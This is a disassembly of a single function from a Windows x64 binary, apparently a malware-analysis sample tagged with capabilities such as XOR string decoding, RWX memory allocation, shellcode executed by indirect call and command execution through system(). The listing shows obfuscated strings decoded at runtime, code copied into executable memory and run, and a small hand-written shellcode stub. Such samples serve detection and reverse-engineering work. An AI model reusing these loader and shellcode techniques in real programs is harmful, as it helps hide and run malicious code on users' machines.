Function at 0x1400ec660
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute command
Execute shellcode via indirect call
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x60
xor esi, esi
mov qword [0x1402f1070], rsi
mov dword [0x1402f1078], esi
mov word [0x1402f107c], si
mov byte [0x1402f107e], sil
vpxor xmm0, xmm0, xmm0
xor r10d, r10d
vmovups xmmword [0x1402f08b8], xmm0
mov byte [0x1402f08c8], r10b
xor ecx, ecx
vmovups ymmword [0x1402f1220], ymm0
vmovups ymmword [0x1402f1240], ymm0
vmovups xmmword [0x1402f1260], xmm0
mov qword [0x1402f1270], rcx
mov byte [0x1402f1278], cl
mov dword [0x1402f03b8], ecx
mov word [0x1402f03bb], 0x3a
xor eax, eax
vmovups ymmword [0x1402f0a38], ymm0
mov qword [0x1402f0a58], rax
mov byte [0x1402f0a38], 0x37
xor byte [0x1402f0a39], 0x38
xor byte [0x1402f0a3a], 0x39
xor byte [0x1402f0a3b], 0x3a
xor byte [0x1402f0a3c], 0x3b
xor byte [0x1402f0a3d], 0x3c
xor byte [0x1402f0a3e], 0x3d
xor byte [0x1402f0a3f], 0x3e
xor byte [0x1402f0a40], 0x3f
xor byte [0x1402f0a41], 0x40
xor byte [0x1402f0a42], 0x41
xor byte [0x1402f0a43], 0x42
xor byte [0x1402f0a44], 0x43
xor byte [0x1402f0a45], 0x44
xor byte [0x1402f0a46], 0x45
xor byte [0x1402f0a47], 0x46
xor byte [0x1402f0a48], 0x47
xor byte [0x1402f0a49], 0x48
xor byte [0x1402f0a4a], 0x49
xor byte [0x1402f0a4b], 0x4a
xor byte [0x1402f0a4c], 0x4b
xor byte [0x1402f0a4d], 0x4c
xor byte [0x1402f0a4e], 0x4d
xor byte [0x1402f0a4f], 0x4e
xor byte [0x1402f0a50], 0x4f
xor byte [0x1402f0a51], 0x50
xor byte [0x1402f0a52], 0x51
xor byte [0x1402f0a53], 0x52
xor byte [0x1402f0a54], 0x53
xor byte [0x1402f0a55], 0x54
xor byte [0x1402f0a56], 0x55
xor byte [0x1402f0a57], 0x56
xor al, 0x57
mov byte [0x1402f0a58], al
xor byte [0x1402f0a59], 0x58
xor byte [0x1402f0a5a], 0x59
xor byte [0x1402f0a5b], 0x5a
xor byte [0x1402f0a5c], 0x5b
xor byte [0x1402f0a5d], 0x5c
xor byte [0x1402f0a5e], 0x5d
xor byte [0x1402f0a5f], 0x5e
mov byte [0x1402f0a60], 0x5f
mov word [0x1402f03b8], 0x3837
mov byte [0x1402f03ba], 0x39
mov byte [0x1402f03bc], 0x3b
mov r8d, esi
lea r9, [0x1402f1220]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x59
jl 0x1400ec840
xor byte [0x1402f08b8], 0x37
xor byte [0x1402f08b9], 0x38
xor byte [0x1402f08ba], 0x39
xor byte [0x1402f08bb], 0x3a
xor byte [0x1402f08bc], 0x3b
xor byte [0x1402f08bd], 0x3c
xor byte [0x1402f08be], 0x3d
xor byte [0x1402f08bf], 0x3e
xor byte [0x1402f08c0], 0x3f
xor byte [0x1402f08c1], 0x40
xor byte [0x1402f08c2], 0x41
xor byte [0x1402f08c3], 0x42
xor byte [0x1402f08c4], 0x43
xor byte [0x1402f08c5], 0x44
xor byte [0x1402f08c6], 0x45
xor byte [0x1402f08c7], 0x46
mov byte [0x1402f08c8], 0x47
xor byte [0x1402f1070], 0x37
xor byte [0x1402f1071], 0x38
xor byte [0x1402f1072], 0x39
xor byte [0x1402f1073], 0x3a
xor byte [0x1402f1074], 0x3b
xor byte [0x1402f1075], 0x3c
xor byte [0x1402f1076], 0x3d
xor byte [0x1402f1077], 0x3e
xor byte [0x1402f1078], 0x3f
xor byte [0x1402f1079], 0x40
xor byte [0x1402f107a], 0x41
xor byte [0x1402f107b], 0x42
xor byte [0x1402f107c], 0x43
xor byte [0x1402f107d], 0x44
mov byte [0x1402f107e], 0x45
lea rax, [rbp + 0x28]
movabs r12, 0xff00ff00ff00ff00
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], rax
mov rax, qword [rax]
xor rax, r12
mov qword [rbp - 0x40], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x28], r12
mov qword [rax], rsi
mov ecx, esi
lea rbx, [0x1400bff50]
lea rdi, [0x140000000]
mov rax, qword [0x1402f14a0]
test rax, rax
je 0x1400ec9cd
mov rdx, rsi
cmp rax, rbx
je 0x1400ec9bc
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x2f14a0]
test rax, rax
jne 0x1400ec9a4
jmp 0x1400ec9cd
mov r8, qword [rdi + rdx*8 + 0x2f17c0]
test r8, r8
jne 0x1400ecacf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
vzeroupper
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400ec9f7
mov r8, rsi
jmp 0x1400ecaae
mov rax, rbx
mov rcx, r8
mov edx, 3
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400eca02
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402f1498]
mov qword [rdi + rax*8 + 0x2f14a0], rbx
mov qword [rdi + rax*8 + 0x2f17c0], r8
inc rax
mov qword [0x1402f1498], rax
lea rcx, [fcn.140050740]
vzeroupper
call r8
nop
lea r14, [rbp + 0x28]
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x28], r12
mov qword [r14], rsi
mov ecx, esi
mov rax, qword [0x1402f14a0]
test rax, rax
je 0x1400ecb2a
mov rdx, rsi
cmp rax, rbx
je 0x1400ecb19
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x2f14a0]
test rax, rax
jne 0x1400ecb01
jmp 0x1400ecb2a
mov r8, qword [rdi + rdx*8 + 0x2f17c0]
test r8, r8
jne 0x1400ecc2d
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400ecb51
mov r8, rsi
jmp 0x1400ecc0c
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400ecb60
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402f1498]
mov qword [rdi + rax*8 + 0x2f14a0], rbx
mov qword [rdi + rax*8 + 0x2f17c0], r8
inc rax
mov qword [0x1402f1498], rax
lea rcx, [fcn.140050740]
call r8
nop
mov rax, r12
xor rax, r12
mov qword [r14], rax
vmovups ymm0, ymmword [0x1401bbba0]
vmovups ymmword [rbp - 0x28], ymm0
mov eax, dword [0x1401bbbc0]
mov dword [rbp - 8], eax
movzx ecx, byte [0x1401bbbc4]
mov byte [rbp - 0x28], WSAGetLastError
xor byte [rbp - 0x27], 0x38
xor byte [rbp - 0x26], 0x39
xor byte [rbp - 0x25], 0x3a
xor byte [rbp - 0x24], 0x3b
xor byte [rbp - 0x23], 0x3c
xor byte [rbp - 0x22], 0x3d
xor byte [rbp - 0x21], 0x3e
xor byte [rbp - 0x20], 0x3f
xor byte [rbp - 0x1f], 0x40
xor byte [rbp - 0x1e], 0x41
xor byte [rbp - 0x1d], 0x42
xor byte [rbp - 0x1c], 0x43
xor byte [rbp - 0x1b], 0x44
xor byte [rbp - 0x1a], 0x45
xor byte [rbp - 0x19], 0x46
xor byte [rbp - 0x18], 0x47
xor byte [rbp - 0x17], 0x48
xor byte [rbp - 0x16], 0x49
xor byte [rbp - 0x15], 0x4a
xor byte [rbp - 0x14], 0x4b
xor byte [rbp - 0x13], 0x4c
xor byte [rbp - 0x12], 0x4d
xor byte [rbp - 0x11], 0x4e
xor byte [rbp - 0x10], 0x4f
xor byte [rbp - 0xf], 0x50
xor byte [rbp - 0xe], 0x51
xor byte [rbp - 0xd], 0x52
xor byte [rbp - 0xc], 0x53
xor byte [rbp - 0xb], 0x54
xor byte [rbp - 0xa], 0x55
xor byte [rbp - 9], 0x56
xor al, 0x57
mov byte [rbp - 8], al
xor byte [rbp - 7], 0x58
xor byte [rbp - 6], 0x59
xor byte [rbp - 5], 0x5a
xor cl, 0x5b
mov byte [rbp - 4], cl
lea rcx, [rbp - 0x28]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_ntohl
xor ecx, ecx
lea r9d, [rdx + 0x32]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x1400ecd4e
mov dword [rax], 0xdb31c031
mov dword [rax + 4], 0xd231c931
mov dword [rax + 8], 0xed31e431
mov word [rax + 0xc], 0xe4ff
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call rsi
lea r15, [rbp + 0x28]
lea r14, [0x1400bff80]
lea r13, [0x1400bff80]
mov dword [rbp + 0x30], esi
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], r15
mov rbx, qword [r15]
xor rbx, r12
mov qword [rbp - 0x28], rbx
mov qword [r15], rsi
mov ecx, esi
mov rax, qword [0x1402f1af0]
test rax, rax
je 0x1400ecdb9
mov rdx, rsi
nop dword [rax + rax]
cmp rax, r14
je 0x1400ecda8
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x2f1af0]
test rax, rax
jne 0x1400ecd90
jmp 0x1400ecdb9
mov r8, qword [rdi + rdx*8 + 0x2f1e10]
test r8, r8
jne 0x1400ecebd
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400ecde0
mov r8, rsi
jmp 0x1400ece9c
mov rcx, rax
mov rax, r14
mov edx, 3
nop dword [rax + rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400ecdf0
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402f1ae0]
mov qword [rdi + rax*8 + 0x2f1af0], r14
mov qword [rdi + rax*8 + 0x2f1e10], r8
inc rax
mov qword [0x1402f1ae0], rax
lea rdx, [rbp + 0x30]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call r8
nop
mov dword [rbp + 0x30], esi
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], r15
mov qword [rbp - 0x28], rbx
mov qword [r15], rsi
mov ecx, esi
mov rax, qword [0x1402f1af0]
test rax, rax
je 0x1400ecf19
mov rdx, rsi
nop
cmp rax, r14
je 0x1400ecf08
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x2f1af0]
test rax, rax
jne 0x1400ecef0
jmp 0x1400ecf19
mov r8, qword [rdi + rdx*8 + 0x2f1e10]
test r8, r8
jne 0x1400ed01d
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400ecf40
mov r8, rsi
jmp 0x1400ecffc
mov rcx, rax
mov rax, r14
mov edx, 3
nop dword [rax + rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400ecf50
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402f1ae0]
mov qword [rdi + rax*8 + 0x2f1af0], r14
mov qword [rdi + rax*8 + 0x2f1e10], r8
inc rax
mov qword [0x1402f1ae0], rax
lea rdx, [rbp + 0x30]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__Exit]
call r8
nop
mov dword [rbp + 0x30], esi
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], r15
mov qword [rbp - 0x28], rbx
mov qword [r15], rsi
mov ecx, esi
mov rax, qword [0x1402f1af0]
test rax, rax
je 0x1400ed079
mov rdx, rsi
nop
cmp rax, r14
je 0x1400ed068
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x2f1af0]
test rax, rax
jne 0x1400ed050
jmp 0x1400ed079
mov r8, qword [rdi + rdx*8 + 0x2f1e10]
test r8, r8
jne 0x1400ed17d
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400ed0a0
mov r8, rsi
jmp 0x1400ed15c
mov rcx, rax
mov rax, r14
mov edx, 3
nop dword [rax + rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400ed0b0
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402f1ae0]
mov qword [rdi + rax*8 + 0x2f1af0], r14
mov qword [rdi + rax*8 + 0x2f1e10], r8
inc rax
mov qword [0x1402f1ae0], rax
lea rdx, [rbp + 0x30]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call r8
nop
mov dword [rbp + 0x30], esi
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], r15
mov qword [rbp - 0x28], rbx
mov qword [r15], rsi
mov ecx, esi
mov rax, qword [0x1402f1af0]
test rax, rax
je 0x1400ed1d9
mov rdx, rsi
nop
cmp rax, r14
je 0x1400ed1c8
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x2f1af0]
test rax, rax
jne 0x1400ed1b0
jmp 0x1400ed1d9
mov r8, qword [rdi + rdx*8 + 0x2f1e10]
test r8, r8
jne 0x1400ed2dd
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400ed200
mov r8, rsi
jmp 0x1400ed2bc
mov rcx, rax
mov rax, r14
mov edx, 3
nop dword [rax + rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400ed210
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402f1ae0]
mov qword [rdi + rax*8 + 0x2f1af0], r14
mov qword [rdi + rax*8 + 0x2f1e10], r8
inc rax
mov qword [0x1402f1ae0], rax
lea rdx, [rbp + 0x30]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_quick_exit]
call r8
nop
mov dword [rbp + 0x30], esi
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], r15
mov qword [rbp - 0x28], rbx
mov qword [r15], rsi
mov ecx, esi
mov rax, qword [0x1402f2140]
test rax, rax
je 0x1400ed339
mov rdx, rsi
nop
cmp rax, r13
je 0x1400ed328
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x2f2140]
test rax, rax
jne 0x1400ed310
jmp 0x1400ed339
mov r8, qword [rdi + rdx*8 + 0x2f2460]
test r8, r8
jne 0x1400ed43d
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400ed360
mov r8, rsi
jmp 0x1400ed41c
mov rcx, rax
mov rax, r13
mov edx, 3
nop dword [rax + rax]
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
vmovups xmm1, xmmword [rax + 0x70]
vmovups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400ed370
vmovups xmm0, xmmword [rax]
vmovups xmmword [rcx], xmm0
vmovups xmm1, xmmword [rax + 0x10]
vmovups xmmword [rcx + 0x10], xmm1
vmovups xmm0, xmmword [rax + 0x20]
vmovups xmmword [rcx + 0x20], xmm0
vmovups xmm1, xmmword [rax + 0x30]
vmovups xmmword [rcx + 0x30], xmm1
vmovups xmm0, xmmword [rax + 0x40]
vmovups xmmword [rcx + 0x40], xmm0
vmovups xmm1, xmmword [rax + 0x50]
vmovups xmmword [rcx + 0x50], xmm1
vmovups xmm0, xmmword [rax + 0x60]
vmovups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402f2130]
mov qword [rdi + rax*8 + 0x2f2140], r13
mov qword [rdi + rax*8 + 0x2f2460], r8
inc rax
mov qword [0x1402f2130], rax
lea rdx, [rbp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_ExitProcess]
call r8
nop
xor rbx, r12
mov qword [r15], rbx
jmp 0x1400ecd62